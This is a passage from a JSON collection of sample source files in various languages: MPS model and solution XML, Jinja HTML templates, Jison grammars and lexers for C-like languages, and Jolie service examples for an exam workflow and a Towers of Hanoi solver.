name=\"isNative\" index=\"2aFKle\" />\n      </concept>\n      <concept id=\"1107535904670\" name=\"jetbrains.mps.baseLanguage.structure.ClassifierType\" flags=\"in\" index=\"3uibUv\">\n        <reference id=\"1107535924139\" name=\"classifier\" index=\"3uigEE\" />\n      </concept>\n      <concept id=\"1178549954367\" name=\"jetbrains.mps.baseLanguage.structure.IVisible\" flags=\"ng\" index=\"1B3ioH\">\n        <child id=\"1178549979242\" name=\"visibility\" index=\"1B3o_S\" />\n      </concept>\n      <concept id=\"1107796713796\" name=\"jetbrains.mps.baseLanguage.structure.Interface\" flags=\"ig\" index=\"3HP615\">\n        <child id=\"1107797138135\" name=\"extendedInterface\" index=\"3HQHJm\" />\n      </concept>\n      <concept id=\"1146644602865\" name=\"jetbrains.mps.baseLanguage.structure.PublicVisibility\" flags=\"nn\" index=\"3Tm1VV\" />\n    </language>\n    <language id=\"7866978e-a0f0-4cc7-81bc-4d213d9375e1\" name=\"jetbrains.mps.lang.smodel\">\n      <concept id=\"6677504323281689838\" name=\"jetbrains.mps.lang.smodel.structure.SConceptType\" flags=\"in\" index=\"3bZ5Sz\" />\n    </language>\n    <language id=\"ceab5195-25ea-4f22-9b92-103b95ca8c0c\" name=\"jetbrains.mps.lang.core\">\n      <concept id=\"1169194658468\" name=\"jetbrains.mps.lang.core.structure.INamedConcept\" flags=\"ng\" index=\"TrEIO\">\n        <property id=\"1169194664001\" name=\"name\" index=\"TrG5h\" />\n      </concept>\n    </language>\n  </registry>\n  <node concept=\"3HP615\" id=\"2wQ3F8GeTEG\">\n    <property role=\"TrG5h\" value=\"DocumentationAspectDescriptor\" />\n    <node concept=\"3clFb_\" id=\"2wQ3F8GeTFj\" role=\"jymVt\">\n      <property role=\"2aFKle\" value=\"false\" />\n      <property role=\"TrG5h\" value=\"getConceptDocumentation\" />\n      <node concept=\"3clFbS\" id=\"2wQ3F8GeTFm\" role=\"3clF47\" />\n      <node concept=\"3Tm1VV\" id=\"2wQ3F8GeTFn\" role=\"1B3o_S\" />\n      <node concept=\"3uibUv\" id=\"2wQ3F8GeTFb\" role=\"3clF45\">\n        <ref role=\"3uigEE\" to=\"wyt6:~String\" resolve=\"String\" />\n      </node>\n      <node concept=\"37vLTG\" id=\"2wQ3F8GeTFG\" role=\"3clF46\">\n        <property role=\"TrG5h\" value=\"concept\" />\n        <node concept=\"3bZ5Sz\" id=\"2wQ3F8GeTFF\" role=\"1tU5fm\" />\n      </node>\n    </node>\n    <node concept=\"3Tm1VV\" id=\"2wQ3F8GeTEH\" role=\"1B3o_S\" />\n    <node concept=\"3uibUv\" id=\"2wQ3F8GeTF3\" role=\"3HQHJm\">\n      <ref role=\"3uigEE\" to=\"ze1i:~ILanguageAspect\" resolve=\"ILanguageAspect\" />\n    </node>\n  </node>\n</model>"
  },
  {
    "path": "samples/JetBrains MPS/sandbox.msd",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<solution name=\"jetbrains.mps.samples.Kaja.sandbox\" uuid=\"202a7e1d-f62f-48e2-a734-32662e238d8a\" moduleVersion=\"0\" compileInMPS=\"true\">\n  <models>\n    <modelRoot contentPath=\"${module}\" type=\"default\">\n      <sourceRoot location=\"models\" />\n    </modelRoot>\n  </models>\n  <facets>\n    <facet type=\"java\">\n      <classes generated=\"true\" path=\"${module}/classes_gen\" />\n    </facet>\n  </facets>\n  <sourcePath />\n  <dependencies>\n    <dependency reexport=\"false\">6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)</dependency>\n    <dependency reexport=\"false\">5004e7d9-a353-4cb0-960a-68fc804bd95d(jetbrains.mps.samples.JavaKaja)</dependency>\n  </dependencies>\n  <languageVersions>\n    <language slang=\"l:4caf0310-491e-41f5-8a9b-2006b3a94898:jetbrains.mps.execution.util\" version=\"0\" />\n    <language slang=\"l:ceab5195-25ea-4f22-9b92-103b95ca8c0c:jetbrains.mps.lang.core\" version=\"2\" />\n    <language slang=\"l:049a08c5-1fe5-43cc-bd99-8b46d641d7f5:jetbrains.mps.samples.Kaja\" version=\"0\" />\n    <language slang=\"l:44306fd2-ef94-4b56-9806-d9ab509536db:jetbrains.mps.samples.KajaAndOr\" version=\"0\" />\n    <language slang=\"l:b56912a3-674f-4530-b0cf-55261b526a1f:jetbrains.mps.samples.KajaSceneConstruction\" version=\"0\" />\n  </languageVersions>\n  <dependencyVersions>\n    <module reference=\"6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)\" version=\"0\" />\n    <module reference=\"5004e7d9-a353-4cb0-960a-68fc804bd95d(jetbrains.mps.samples.JavaKaja)\" version=\"0\" />\n    <module reference=\"202a7e1d-f62f-48e2-a734-32662e238d8a(jetbrains.mps.samples.Kaja.sandbox)\" version=\"0\" />\n  </dependencyVersions>\n</solution>"
  },
  {
    "path": "samples/Jinja/home.j2",
    "content": "{% extends \"bootstrap/base.html\" %}\n{% block title %}OAuth Helper - Home{% endblock %}\n\n{% block content %}\n<div class=\"container\">\n    <div class=\"row pt-5\"><h1>OAuth Client Helper</h1></div>\n    <p>This is here to help make getting, setting and pushing OAuth tokens easier</p>\n    <p>TODO: add some more notes about WTF is actually going on here....</p>\n\n    <a class=\"btn btn-primary\" href=\"/add-client\" role=\"button\">New Client ID</a>\n\n    <hr>\n\n    <h3>List of current clients configured and status summary</h3>\n    {% if 'client_id' in colnames %}\n    {# <pre><code>{{ client_data }}</code></pre> #}\n    <table class=\"table table-hover w-auto small\">\n        <thead>\n            <tr>\n                {# First column is always client_id #}\n                <th scope=\"col\">client_id</th>\n                {% set col_client_index = colnames.index('client_id') %}\n                {% for col in colnames %}\n                {% if col != \"client_id\" %}\n                {# Skipping the client_id column because we already added it #}\n                <th scope=\"col\">{{ col }}</th>\n                {% endif %}\n                {% endfor %}\n            </tr>\n        </thead>\n        <tbody>\n            {% for client_id_list in data[0] %}\n            {% set outer_loop = loop %}\n            <tr>\n                {# First column is always client_id #}\n                <td><a href=\"/client-detail/{{ data[col_client_index][loop.index0] }}\">{{ data[col_client_index][loop.index0] }}</a></td>\n                {% for item in data %}\n                {% if colnames[loop.index0] == 'client_id' %}\n                {# nothing #}\n                {% elif colnames[loop.index0] == 'qs_params'%}\n                <td>\n                    {% if item[outer_loop.index0] is mapping %}\n                    <ul class=\"list-group\">\n                        {% for key, val in item[outer_loop.index0].items() %}\n                        <li><code><pre>{{key}}: '{{val}}'</pre></code></li>\n                        {% endfor %}\n                    </ul>\n                    {% else %}\n                    None\n                    {% endif %}\n                </td>\n                {% else %}\n                <td>{{ item[outer_loop.index0] }}</td>\n                {% endif %}\n                {% endfor %}\n            </tr>\n            {% endfor %}\n        </tbody>\n    </table>\n    {% else %}\n    {# Seems there's no data #}\n    <p>No Data</p>\n    {% endif %}\n\n</div>\n{% endblock %}\n"
  },
  {
    "path": "samples/Jinja/worker.jinja2",
    "content": "<h1>Workers</h1>\n\n<table class=\"workers\">\n  <tr>\n    <th>Job server</th>\n    <th>IP</th>\n    <th>File descriptor</th>\n    <th>Client ID</th>\n    <th>Functions</th>\n  </tr>\n\n{% for server_info in server_infos %}\n  <tr {% if server_info['failed'] %} class=\"failure\" {% endif %} >\n    \n    <th>{{ server_info['hostport'][0] }}:{{ server_info['hostport'][1] }}</th>\n    <th>\n      {%- if server_info['failed'] -%} Not responding! {%- endif -%}\n    </th>\n    <th></th>\n    <th></th>\n    <th></th>\n  </tr>\n  \n  {% if not server_info['failed'] %}\n    {% for worker in server_info['workers'] %}\n    <tr>\n      <td class=\"server\"></td>\n      <td class=\"ip\">{{ worker['ip'] }}</td>\n      <td class=\"file_descriptor\">{{ worker['file_descriptor'] }}</td>\n      <td class=\"client_id\">{{ worker['client_id'] }}</td>\n      <td class=\"functions\">\n        {{ worker['tasks']|join(', ') }}\n      </td>\n    </tr>\n    {% endfor %}\n  {% endif %}\n{% endfor %}\n</table>\n"
  },
  {
    "path": "samples/Jison/ansic.jison",
    "content": "%token IDENTIFIER CONSTANT STRING_LITERAL SIZEOF\n%token PTR_OP INC_OP DEC_OP LEFT_OP RIGHT_OP LE_OP GE_OP EQ_OP NE_OP\n%token AND_OP OR_OP MUL_ASSIGN DIV_ASSIGN MOD_ASSIGN ADD_ASSIGN\n%token SUB_ASSIGN LEFT_ASSIGN RIGHT_ASSIGN AND_ASSIGN\n%token XOR_ASSIGN OR_ASSIGN TYPE_NAME\n\n%token TYPEDEF EXTERN STATIC AUTO REGISTER\n%token CHAR SHORT INT LONG SIGNED UNSIGNED FLOAT DOUBLE CONST VOLATILE VOID\n%token STRUCT UNION ENUM ELLIPSIS\n\n%token CASE DEFAULT IF ELSE SWITCH WHILE DO FOR GOTO CONTINUE BREAK RETURN\n\n%nonassoc IF_WITHOUT_ELSE\n%nonassoc ELSE\n\n%start translation_unit\n%%\n\nprimary_expression\n    : IDENTIFIER\n    | CONSTANT\n    | STRING_LITERAL\n    | '(' expression ')'\n    ;\n\npostfix_expression\n    : primary_expression\n    | postfix_expression '[' expression ']'\n    | postfix_expression '(' ')'\n    | postfix_expression '(' argument_expression_list ')'\n    | postfix_expression '.' IDENTIFIER\n    | postfix_expression PTR_OP IDENTIFIER\n    | postfix_expression INC_OP\n    | postfix_expression DEC_OP\n    ;\n\nargument_expression_list\n    : assignment_expression\n    | argument_expression_list ',' assignment_expression\n    ;\n\nunary_expression\n    : postfix_expression\n    | INC_OP unary_expression\n    | DEC_OP unary_expression\n    | unary_operator cast_expression\n    | SIZEOF unary_expression\n    | SIZEOF '(' type_name ')'\n    ;\n\nunary_operator\n    : '&'\n    | '*'\n    | '+'\n    | '-'\n    | '~'\n    | '!'\n    ;\n\ncast_expression\n    : unary_expression\n    | '(' type_name ')' cast_expression\n    ;\n\nmultiplicative_expression\n    : cast_expression\n    | multiplicative_expression '*' cast_expression\n    | multiplicative_expression '/' cast_expression\n    | multiplicative_expression '%' cast_expression\n    ;\n\nadditive_expression\n    : multiplicative_expression\n    | additive_expression '+' multiplicative_expression\n    | additive_expression '-' multiplicative_expression\n    ;\n\nshift_expression\n    : additive_expression\n    | shift_expression LEFT_OP additive_expression\n    | shift_expression RIGHT_OP additive_expression\n    ;\n\nrelational_expression\n    : shift_expression\n    | relational_expression '<' shift_expression\n    | relational_expression '>' shift_expression\n    | relational_expression LE_OP shift_expression\n    | relational_expression GE_OP shift_expression\n    ;\n\nequality_expression\n    : relational_expression\n    | equality_expression EQ_OP relational_expression\n    | equality_expression NE_OP relational_expression\n    ;\n\nand_expression\n    : equality_expression\n    | and_expression '&' equality_expression\n    ;\n\nexclusive_or_expression\n    : and_expression\n    | exclusive_or_expression '^' and_expression\n    ;\n\ninclusive_or_expression\n    : exclusive_or_expression\n    | inclusive_or_expression '|' exclusive_or_expression\n    ;\n\nlogical_and_expression\n    : inclusive_or_expression\n    | logical_and_expression AND_OP inclusive_or_expression\n    ;\n\nlogical_or_expression\n    : logical_and_expression\n    | logical_or_expression OR_OP logical_and_expression\n    ;\n\nconditional_expression\n    : logical_or_expression\n    | logical_or_expression '?' expression ':' conditional_expression\n    ;\n\nassignment_expression\n    : conditional_expression\n    | unary_expression assignment_operator assignment_expression\n    ;\n\nassignment_operator\n    : '='\n    | MUL_ASSIGN\n    | DIV_ASSIGN\n    | MOD_ASSIGN\n    | ADD_ASSIGN\n    | SUB_ASSIGN\n    | LEFT_ASSIGN\n    | RIGHT_ASSIGN\n    | AND_ASSIGN\n    | XOR_ASSIGN\n    | OR_ASSIGN\n    ;\n\nexpression\n    : assignment_expression\n    | expression ',' assignment_expression\n    ;\n\nconstant_expression\n    : conditional_expression\n    ;\n\ndeclaration\n    : declaration_specifiers ';'\n    | declaration_specifiers init_declarator_list ';'\n    ;\n\ndeclaration_specifiers\n    : storage_class_specifier\n    | storage_class_specifier declaration_specifiers\n    | type_specifier\n    | type_specifier declaration_specifiers\n    | type_qualifier\n    | type_qualifier declaration_specifiers\n    ;\n\ninit_declarator_list\n    : init_declarator\n    | init_declarator_list ',' init_declarator\n    ;\n\ninit_declarator\n    : declarator\n    | declarator '=' initializer\n    ;\n\nstorage_class_specifier\n    : TYPEDEF\n    | EXTERN\n    | STATIC\n    | AUTO\n    | REGISTER\n    ;\n\ntype_specifier\n    : VOID\n    | CHAR\n    | SHORT\n    | INT\n    | LONG\n    | FLOAT\n    | DOUBLE\n    | SIGNED\n    | UNSIGNED\n    | struct_or_union_specifier\n    | enum_specifier\n    | TYPE_NAME\n    ;\n\nstruct_or_union_specifier\n    : struct_or_union IDENTIFIER '{' struct_declaration_list '}'\n    | struct_or_union '{' struct_declaration_list '}'\n    | struct_or_union IDENTIFIER\n    ;\n\nstruct_or_union\n    : STRUCT\n    | UNION\n    ;\n\nstruct_declaration_list\n    : struct_declaration\n    | struct_declaration_list struct_declaration\n    ;\n\nstruct_declaration\n    : specifier_qualifier_list struct_declarator_list ';'\n    ;\n\nspecifier_qualifier_list\n    : type_specifier specifier_qualifier_list\n    | type_specifier\n    | type_qualifier specifier_qualifier_list\n    | type_qualifier\n    ;\n\nstruct_declarator_list\n    : struct_declarator\n    | struct_declarator_list ',' struct_declarator\n    ;\n\nstruct_declarator\n    : declarator\n    | ':' constant_expression\n    | declarator ':' constant_expression\n    ;\n\nenum_specifier\n    : ENUM '{' enumerator_list '}'\n    | ENUM IDENTIFIER '{' enumerator_list '}'\n    | ENUM IDENTIFIER\n    ;\n\nenumerator_list\n    : enumerator\n    | enumerator_list ',' enumerator\n    ;\n\nenumerator\n    : IDENTIFIER\n    | IDENTIFIER '=' constant_expression\n    ;\n\ntype_qualifier\n    : CONST\n    | VOLATILE\n    ;\n\ndeclarator\n    : pointer direct_declarator\n    | direct_declarator\n    ;\n\ndirect_declarator\n    : IDENTIFIER\n    | '(' declarator ')'\n    | direct_declarator '[' constant_expression ']'\n    | direct_declarator '[' ']'\n    | direct_declarator '(' parameter_type_list ')'\n    | direct_declarator '(' identifier_list ')'\n    | direct_declarator '(' ')'\n    ;\n\npointer\n    : '*'\n    | '*' type_qualifier_list\n    | '*' pointer\n    | '*' type_qualifier_list pointer\n    ;\n\ntype_qualifier_list\n    : type_qualifier\n    | type_qualifier_list type_qualifier\n    ;\n\n\nparameter_type_list\n    : parameter_list\n    | parameter_list ',' ELLIPSIS\n    ;\n\nparameter_list\n    : parameter_declaration\n    | parameter_list ',' parameter_declaration\n    ;\n\nparameter_declaration\n    : declaration_specifiers declarator\n    | declaration_specifiers abstract_declarator\n    | declaration_specifiers\n    ;\n\nidentifier_list\n    : IDENTIFIER\n    | identifier_list ',' IDENTIFIER\n    ;\n\ntype_name\n    : specifier_qualifier_list\n    | specifier_qualifier_list abstract_declarator\n    ;\n\nabstract_declarator\n    : pointer\n    | direct_abstract_declarator\n    | pointer direct_abstract_declarator\n    ;\n\ndirect_abstract_declarator\n    : '(' abstract_declarator ')'\n    | '[' ']'\n    | '[' constant_expression ']'\n    | direct_abstract_declarator '[' ']'\n    | direct_abstract_declarator '[' constant_expression ']'\n    | '(' ')'\n    | '(' parameter_type_list ')'\n    | direct_abstract_declarator '(' ')'\n    | direct_abstract_declarator '(' parameter_type_list ')'\n    ;\n\ninitializer\n    : assignment_expression\n    | '{' initializer_list '}'\n    | '{' initializer_list ',' '}'\n    ;\n\ninitializer_list\n    : initializer\n    | initializer_list ',' initializer\n    ;\n\nstatement\n    : labeled_statement\n    | compound_statement\n    | expression_statement\n    | selection_statement\n    | iteration_statement\n    | jump_statement\n    ;\n\nlabeled_statement\n    : IDENTIFIER ':' statement\n    | CASE constant_expression ':' statement\n    | DEFAULT ':' statement\n    ;\n\ncompound_statement\n    : '{' '}'\n    | '{' statement_list '}'\n    | '{' declaration_list '}'\n    | '{' declaration_list statement_list '}'\n    ;\n\ndeclaration_list\n    : declaration\n    | declaration_list declaration\n    ;\n\nstatement_list\n    : statement\n    | statement_list statement\n    ;\n\nexpression_statement\n    : ';'\n    | expression ';'\n    ;\n\nselection_statement\n    : IF '(' expression ')' statement %prec IF_WITHOUT_ELSE\n    | IF '(' expression ')' statement ELSE statement\n    | SWITCH '(' expression ')' statement\n    ;\n\niteration_statement\n    : WHILE '(' expression ')' statement\n    | DO statement WHILE '(' expression ')' ';'\n    | FOR '(' expression_statement expression_statement ')' statement\n    | FOR '(' expression_statement expression_statement expression ')' statement\n    ;\n\njump_statement\n    : GOTO IDENTIFIER ';'\n    | CONTINUE ';'\n    | BREAK ';'\n    | RETURN ';'\n    | RETURN expression ';'\n    ;\n\ntranslation_unit\n    : external_declaration\n    | translation_unit external_declaration\n    ;\n\nexternal_declaration\n    : function_definition\n    | declaration\n    ;\n\nfunction_definition\n    : declaration_specifiers declarator declaration_list compound_statement\n    | declaration_specifiers declarator compound_statement\n    | declarator declaration_list compound_statement\n    | declarator compound_statement\n    ;\n"
  },
  {
    "path": "samples/Jison/classy.jison",
    "content": "\n/* description: ClassyLang grammar. Very classy. */\n/*\n  To build parser:\n\n    $ ./bin/jison examples/classy.jison examples/classy.jisonlex\n\n*/\n\n\n/* author: Zach Carter */\n\n%right ASSIGN\n%left OR\n%nonassoc EQUALITY GREATER\n%left PLUS MINUS\n%left TIMES\n%right NOT\n%left DOT\n\n%%\n\npgm\n    : cdl MAIN LBRACE vdl el RBRACE ENDOFFILE\n    ;\n\ncdl\n    : c cdl\n    |\n    ;\n\nc\n    : CLASS id EXTENDS id LBRACE vdl mdl RBRACE\n    ;\n\nvdl\n    : VAR t id SEMICOLON vdl\n    |\n    ;\n\nmdl\n    : t id LPAREN t id RPAREN LBRACE vdl el RBRACE mdl\n    |\n    ;\n\nt\n    : NATTYPE\n    | id\n    ;\n\nid\n    : ID\n    ;\n\nel\n    : e SEMICOLON el\n    | e SEMICOLON\n    ;\n\ne\n    : NATLITERAL\n    | NUL\n    | id\n    | NEW id\n    | THIS\n    | IF LPAREN e RPAREN LBRACE el RBRACE ELSE LBRACE el RBRACE\n    | FOR LPAREN e SEMICOLON e SEMICOLON e RPAREN LBRACE el RBRACE\n    | READNAT LPAREN RPAREN\n    | PRINTNAT LPAREN e RPAREN\n    | e PLUS e\n    | e MINUS e\n    | e TIMES e\n    | e EQUALITY e\n    | e GREATER e\n    | NOT e\n    | e OR e\n    | e DOT id\n    | id ASSIGN e\n    | e DOT id ASSIGN e\n    | id LPAREN e RPAREN\n    | e DOT id LPAREN e RPAREN\n    | LPAREN e RPAREN\n    ;\n\n"
  },
  {
    "path": "samples/Jison/lex.jison",
    "content": "\n// `%nonassoc` tells the parser compiler (JISON) that these tokens cannot occur more than once,\n// i.e. input like '//a' (tokens '/', '/' and 'a') is not a legal input while '/a' (tokens '/' and 'a')\n// *is* legal input for this grammar.\n \n%nonassoc '/' '/!'\n\n// Likewise for `%left`: this informs the LALR(1) grammar compiler (JISON) that these tokens\n// *can* occur repeatedly, e.g. 'a?*' and even 'a**' are considered legal inputs given this\n// grammar!\n//\n// Token `RANGE_REGEX` may seem the odd one out here but really isn't: given the `regex_base`\n// choice/rule `regex_base range_regex`, which is recursive, this grammar tells JISON that \n// any input matching a sequence like `regex_base range_regex range_regex` *is* legal.\n// If you do not want that to be legal, you MUST adjust the grammar rule set you match your\n// actual intent.\n\n%left '*' '+' '?' RANGE_REGEX\n\n\n%% \n\nlex \n    : definitions include '%%' rules '%%' EOF\n        {{ $$ = {macros: $1, rules: $4};\n          if ($2) $$.actionInclude = $2;\n          return $$; }}\n    | definitions include '%%' rules EOF\n        {{ $$ = {macros: $1, rules: $4};\n          if ($2) $$.actionInclude = $2;\n          return $$; }}\n    ;\n\ninclude\n    : action\n    |\n    ;\n\ndefinitions\n    : definitions definition\n        { $$ = $1; $$.concat($2); }\n    | definition\n        { $$ = [$1]; }\n    ;\n\ndefinition\n    : name regex\n        { $$ = [$1, $2]; }\n    ;\n\nname\n    : NAME\n        { $$ = yytext; }\n    ;\n\nrules\n    : rules rule\n        { $$ = $1; $$.push($2); }\n    | rule\n        { $$ = [$1]; }\n    ;\n\nrule\n    : regex action\n        { $$ = [$1, $2]; }\n    ;\n\naction\n    : ACTION \n        { $$ = yytext; }\n    ;\n\nregex\n    : start_caret regex_list end_dollar\n        { $$ = $1+$2+$3; }\n    ;\n\nstart_caret\n    : '^'\n        { $$ = '^'; }\n    |\n        { $$ = ''; }\n    ;\n\nend_dollar\n    : '$'\n        { $$ = '$'; }\n    |\n        { $$ = ''; }\n    ;\n\nregex_list\n    : regex_list '|' regex_chain\n        { $$ = $1+'|'+$3; }\n    | regex_chain\n    ;\n\nregex_chain\n    : regex_chain regex_base\n        { $$ = $1+$2;}\n    | regex_base\n        { $$ = $1;}\n    ;\n\nregex_base\n    : '(' regex_list ')'\n        { $$ = '('+$2+')'; }\n    | regex_base '+'\n        { $$ = $1+'+'; }\n    | regex_base '*'\n        { $$ = $1+'*'; }\n    | regex_base '?'\n        { $$ = $1+'?'; }\n    | '/' regex_base\n        { $$ = '(?=' + $regex_base + ')'; }\n    | '/!' regex_base\n        { $$ = '(?!' + $regex_base + ')'; }\n    | name_expansion\n    | regex_base range_regex\n        { $$ = $1+$2; }\n    | any_group_regex\n    | '.'\n        { $$ = '.'; }\n    | string\n    ;\n\nname_expansion\n    : '{' name '}'\n        {{ $$ = '{'+$2+'}'; }}\n    ;\n\nany_group_regex\n    : ANY_GROUP_REGEX\n        { $$ = yytext; }\n    ;\n\nrange_regex\n    : RANGE_REGEX\n        { $$ = yytext; }\n    ;\n\nstring\n    : STRING_LIT\n        { $$ = yy.prepareString(yytext.substr(1, yyleng-2)); }\n    ;\n"
  },
  {
    "path": "samples/Jison Lex/classy.jisonlex",
    "content": "digit                       [0-9]\nid                          [a-zA-Z][a-zA-Z0-9]*\n\n%%\n\"//\".*                      /* ignore comment */\n\"main\"                      return 'MAIN';\n\"class\"                     return 'CLASS';\n\"extends\"                   return 'EXTENDS';\n\"nat\"                       return 'NATTYPE';\n\"if\"                        return 'IF';\n\"else\"                      return 'ELSE';\n\"for\"                       return 'FOR';\n\"printNat\"                  return 'PRINTNAT';\n\"readNat\"                   return 'READNAT';\n\"this\"                      return 'THIS';\n\"new\"                       return 'NEW';\n\"var\"                       return 'VAR';\n\"null\"                      return 'NUL';\n{digit}+                    return 'NATLITERAL';\n{id}                        return 'ID';\n\"==\"                        return 'EQUALITY';\n\"=\"                         return 'ASSIGN';\n\"+\"                         return 'PLUS';\n\"-\"                         return 'MINUS';\n\"*\"                         return 'TIMES';\n\">\"                         return 'GREATER';\n\"||\"                        return 'OR';\n\"!\"                         return 'NOT';\n\".\"                         return 'DOT';\n\"{\"                         return 'LBRACE';\n\"}\"                         return 'RBRACE';\n\"(\"                         return 'LPAREN';\n\")\"                         return 'RPAREN';\n\";\"                         return 'SEMICOLON';\n\\s+                         /* skip whitespace */\n\".\"                         throw 'Illegal character';\n<<EOF>>                     return 'ENDOFFILE';\n\n\n"
  },
  {
    "path": "samples/Jison Lex/lex_grammar.jisonlex",
    "content": "\n%%\n\\n+                         {yy.freshLine = true;}\n\\s+                         {yy.freshLine = false;}\n\"y{\"[^}]*\"}\"                {yytext = yytext.substr(2, yyleng - 3); return 'ACTION';}\n[a-zA-Z_][a-zA-Z0-9_-]*     {return 'NAME';}\n'\"'([^\"]|'\\\"')*'\"'          {return 'STRING_LIT';}\n\"'\"([^']|\"\\'\")*\"'\"          {return 'STRING_LIT';}\n\"|\"                         {return '|';}\n\"[\"(\"\\]\"|[^\\]])*\"]\"         {return 'ANY_GROUP_REGEX';}\n\"(\"                         {return '(';}\n\")\"                         {return ')';}\n\"+\"                         {return '+';}\n\"*\"                         {return '*';}\n\"?\"                         {return '?';}\n\"^\"                         {return '^';}\n\"/\"                         {return '/';}\n\"\\\\\"[a-zA-Z0]               {return 'ESCAPE_CHAR';}\n\"$\"                         {return '$';}\n\"<<EOF>>\"                   {return '$';}\n\".\"                         {return '.';}\n\"%%\"                        {return '%%';}\n\"{\"\\d+(\",\"\\s?\\d+|\",\")?\"}\"   {return 'RANGE_REGEX';}\n/\"{\"                        %{if (yy.freshLine) { this.input('{'); return '{'; } else { this.unput('y'); }%}\n\"}\"                         %{return '}';%}\n\"%{\"(.|\\n)*?\"}%\"            {yytext = yytext.substr(2, yyleng - 4); return 'ACTION';}\n.                           {/* ignore bad characters */}\n<<EOF>>                     {return 'EOF';}\n\n"
  },
  {
    "path": "samples/Jolie/common.iol",
    "content": "include \"types/Binding.iol\"\n\nconstants {\n\tLocation_Exam = \"socket://localhost:8000\"\n}\n\ntype StartExamRequest:void {\n\t.examName:string\n\t.studentName:string\n\t.student:Binding\n}\n\ntype MakeQuestionRequest:void {\n\t.question:string\n\t.examName:string\n\t.studentName:string\n}\n\ntype DecisionMessage:void {\n\t.studentName:string\n\t.examName:string\n}\n\ninterface ExamInterface {\nOneWay:\n\tstartExam(StartExamRequest),\n\tpass(DecisionMessage), fail(DecisionMessage)\nRequestResponse:\n\tmakeQuestion(MakeQuestionRequest)(int)\n}\n\ninterface StudentInterface {\nOneWay:\n\tsendMessage(string)\nRequestResponse:\n\tmakeQuestion(MakeQuestionRequest)(int)\n}"
  },
  {
    "path": "samples/Jolie/exam.ol",
    "content": "include \"common.iol\"\n\ncset {\nstudentName:\n\tStartExamRequest.studentName\n\tDecisionMessage.studentName\n\tMakeQuestionRequest.studentName,\nexamName:\n\tStartExamRequest.examName\n\tDecisionMessage.examName\n\tMakeQuestionRequest.examName\n}\n\nexecution { concurrent }\n\noutputPort Student {\nInterfaces: StudentInterface\n}\n\ninputPort ExamInput {\nLocation: Location_Exam\nProtocol: sodep\nInterfaces: ExamInterface\n}\n\nmain\n{\n\tstartExam( examRequest );\n\tStudent << examRequest.student;\n\tmakeQuestion( question )( answer ) {\n\t\tmakeQuestion@Student( question )( answer )\n\t};\n\t[ pass( message ) ] {\n\t\tsendMessage@Student( \"You passed!\" )\n\t}\n\t[ fail( message ) ] {\n\t\tsendMessage@Student( \"You failed!\" )\n\t}\n}"
  },
  {
    "path": "samples/Jolie/examiner.ol",
    "content": "include \"common.iol\"\ninclude \"ui/swing_ui.iol\"\ninclude \"console.iol\"\n\noutputPort Exam {\nLocation: Location_Exam\nProtocol: sodep\nInterfaces: ExamInterface\n}\n\nmain\n{\n\tquestion.studentName = \"John\";\n\tquestion.examName = \"SPLG\";\n\tquestion.question = \"Random question\";\n\tmakeQuestion@Exam( question )( answer );\n\tshowYesNoQuestionDialog@SwingUI( \"Do you want to accept answer \" + answer + \" ?\" )( decision );\n\n\tmessage.studentName = \"John\";\n\tmessage.examName = \"SPLG\";\n\tif ( decision == 0 ) {\n\t\tpass@Exam( message )\n\t} else {\n\t\tfail@Exam( message )\n\t}\n}\n"
  },
  {
    "path": "samples/Jolie/hanoi.ol",
    "content": "// https://github.com/jolie/website/blob/master/docs/documentation/locations/code/local.ol\n\ninclude \"runtime.iol\"\ninclude \"string_utils.iol\"\n\ntype HanoiRequest: void{\n  .src: string\n  .aux: string\n  .dst: string\n  .n: int\n  .sid?: string\n}\n\ntype HanoiReponse: void {\n  .move?: string\n}\n\ninterface LocalOperations{\n  RequestResponse:\n    hanoiSolver( HanoiRequest )( HanoiReponse )\n}\n\ninterface ExternalOperations{\n  RequestResponse:\n    hanoi( HanoiRequest )( string )\n}\n\noutputPort Self{\n  Interfaces: LocalOperations\n}\n\ninputPort Self {\n  Location: \"local\"\n  Interfaces: LocalOperations\n}\n\ninputPort PowerService {\n  Location: \"socket://localhost:8000\"\n  Protocol: http{\n    .format = \"html\"\n  }\n  Interfaces: ExternalOperations\n}\n\nexecution { concurrent }\n\ninit\n{\n  getLocalLocation@Runtime()( Self.location )\n}\n\nmain\n{\n  [ hanoi( request )( response ){\n    getRandomUUID@StringUtils()(request.sid);\n    hanoiSolver@Self( request )( subRes );\n    response = subRes.move\n  }]{ nullProcess }\n\n  [ hanoiSolver( request )( response ){\n    if ( request.n > 0 ){\n      subReq.n = request.n;\n      subReq.n--;\n      with( request ){\n        subReq.aux = .dst;\n        subReq.dst = .aux;\n        subReq.src = .src;\n        subReq.sid = .sid\n      };\n      hanoiSolver@Self( subReq )( response );\n      response.move +=  \"<br>\" + \n                ++global.counters.(request.sid) + \n                \") Move from \" + request.src +\n                \" to \" + request.dst + \";\";\n      with ( request ){\n        subReq.src = .aux;\n        subReq.aux = .src;\n        subReq.dst = .dst\n      };\n      hanoiSolver@Self( subReq )( subRes );\n      response.move += subRes.move\n    }\n  }]{ nullProcess }\n}"
  },
  {
    "path": "samples/Jolie/student.ol",
    "content": "include \"common.iol\"\ninclude \"ui/swing_ui.iol\"\ninclude \"console.iol\"\n\noutputPort Exam {\nLocation: Location_Exam\nProtocol: sodep\nInterfaces: ExamInterface\n}\n\ninputPort StudentInput {\nLocation: \"socket://localhost:8001/\"\nProtocol: sodep\nInterfaces: StudentInterface\n}\n\nmain\n{\n\trequest.studentName = \"John\";\n\trequest.examName = \"SPLG\";\n\trequest.student.location = \"socket://localhost:8001/\";\n\trequest.student.protocol = \"sodep\";\n\tstartExam@Exam( request );\n\tmakeQuestion( question )( answer ) {\n\t\tshowYesNoQuestionDialog@SwingUI( question.question )( answer )\n\t};\n\tsendMessage( message );\n\tprintln@Console( message )()\n}"
  },
  {
    "path": "samples/Jsonnet/intersection.jsonnet",
